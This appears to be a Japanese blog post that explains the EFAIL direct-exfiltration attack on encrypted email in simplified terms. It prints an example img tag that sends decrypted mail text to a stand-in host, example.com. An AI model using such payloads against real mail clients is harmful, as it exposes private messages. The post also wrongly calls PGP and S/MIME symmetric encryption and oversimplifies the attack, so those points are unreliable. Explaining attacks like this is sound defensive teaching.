はじめに
EFAILという脆弱性が発見されたようです。
メールに関する脆弱性です。
なんでも,PGPやらS/MIMEなどで暗号化されていたメールが
復号されてしまうんだとか。
これらの暗号化は共通鍵暗号方式ですので,
秘密鍵が漏れない限りは暗号文を複合できないはずです。
NSAかどこかが超強力な暗号解読機でも未来から持ってきたのでしょうか。
それはもはや脆弱性どころの騒ぎじゃありません。httpsなんか使ってられません。
というか早くタイムパトロール呼んだほうがいいです。
そんな話はさておき,本当のところ何が悪さしているのでしょうか。
EFAILのメカニズムを非常に大雑把にまとめました。
EFAILのメカニズム
この脆弱性を使った攻撃のストーリーには3人の登場人物が出てきます。
- 被害者
- 脆弱なメールソフト(メールクライアント)
- 攻撃者(悪い人)
これらの人がどのような行動をするのか,
順を追って見ていきましょう。
被害者によるメール送信
まず被害者は脆弱なメールソフトを使って,誰かにメールを送信します。
メールの内容は大事な情報ですので,もちろん暗号化します。
大雑把ですが,メールソフトは以下のような処理をします
「Secret」(平文) ⇒ 「M1^9@m%,fjU$]a」(暗号文)
そして暗号文を相手のメールソフトが復号して,
「盗聴されても内容はばれませんでした。めでたしめでたし」となるわけです。
攻撃者による攻撃
ここで攻撃者が登場します。
攻撃者は何らかの方法を用いて「M1^9@m%,fjU$]a」という暗号文を入手します。
そして,被害者に向けて次のようなタグを含むHTMLメールを送信するのです。
<img src="http://example.com/image.php?ango=M1^9@m%,fjU$]a">
脆弱なメールソフトを使う被害者の結末
まずこの攻撃が成立するには,メールソフトが
Webビーコンへの対策がされていない必要があります。
さらに,暗号文を勝手に復号してしまうという実装がされている必要があります。
暗号文を見て「あ,それ解けるー!」と復号してしまうお粗末なメールソフトです。
なので,
<img src="http://example.com/image.php?ango=M1^9@m%,fjU$]a">
という文を
<img src="http://example.com/image.php?ango=secret">
と勝手に復号するのです。
そして,Webビーコンに対して脆弱ですから,example.comに画像を要求することになります。
画像を要求する際のクエリストリングには,お粗末なメールソフトが
わざわざ復号してくれたメール本文が含まれていますから,
あとは保存するなり,個人情報のDBを作るなり攻撃者の勝手です。
まとめ
なので,この攻撃を要約すると
1. 被害者の送信した暗号文を攻撃者が入手する
2. 攻撃者は<img>のソースとして1. を含むHTMLメールを被害者宛に送信する
3. 被害者のメールソフトはうっかりして復号したURLでリクエストを送信してしまう
4. 攻撃者はメール原文を手に入れる
ということになります。
対策方法
以上より,この攻撃への有効な対策は
お粗末なメールソフトを使わないこと と
PGPやらを削除して送信する ことです。
そもそもこれらを設定できないメールソフトを
使わなければよい ということになります。
終わりに
今回,EFAILのダイレクトエクスフィルトレーションについて
非常に大雑把に解説しました。
本当はもっと多くの要因が関係していますし,
他の攻撃方法も含まれています。
最低限の内容を書いたつもりですが,
Qiitaには公式Webの日本語訳も出ていましたから,
「この日本語はおかしい」と思った方はどうぞそちらを。
長ったらしくなりましたが,最後までお読みくださりありがとうございました!